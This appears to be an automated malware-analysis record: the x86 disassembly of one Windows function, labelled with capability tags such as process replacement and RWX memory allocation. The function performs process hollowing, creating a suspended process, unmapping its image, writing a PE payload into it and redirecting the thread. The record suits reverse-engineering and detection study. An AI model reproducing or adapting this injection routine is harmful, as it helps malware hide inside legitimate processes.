Function at 0x408280
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x482024]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x408469
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x408469
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.004414e0
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x408469
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x408469
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x476890
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x40838c
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x14], eax
test eax, eax
je 0x408469
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x408423
mov dword [esp + 0xc], eax
call fcn.004080d0
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x4083d2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0042a344
mov esp, ebp
pop ebp
ret